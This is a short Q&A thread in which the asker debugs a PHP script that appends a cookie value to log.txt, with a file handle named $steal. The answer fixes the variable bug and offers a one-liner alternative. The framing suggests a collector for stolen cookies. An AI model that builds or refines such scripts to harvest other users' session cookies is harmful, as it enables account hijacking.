PHP cookie logging

Question

I have 2 files on my host, first is c.php and second is log.txt. The file c.txt contains:

  <?php
  $cookie = $_COOKIE["name"]; 
  $steal = fopen("log.txt", "a");
  fwrite($steal, $name ."\n");
  fclose($steal);
  ?>

So it should log all the cookies and store it in log.txt file. But when I execute c.php, I don't get any errors, even then the log.txt file is empty.

The log.txt is fully writable and has all permissions (777). Please tell me what is going wrong. Thx in advanced.

Answer 1

Because you are not writing the cookie value.. Change $name to $cookie on your code.

The code...

<?php
$cookie = $_COOKIE["name"];
$steal = fopen("log.txt", "a");
fwrite($steal, $cookie ."\n"); //<---- Must be $cookie instead of $name
fclose($steal);
?>

or simply use a one-liner with the file_put_contents()

<?php
if(isset($_COOKIE["name"]))
{
    file_put_contents('log.txt',$_COOKIE["name"].PHP_EOL,FILE_APPEND);
}
else {  file_put_contents('log.txt',"No Cookie Found!!".PHP_EOL,FILE_APPEND); }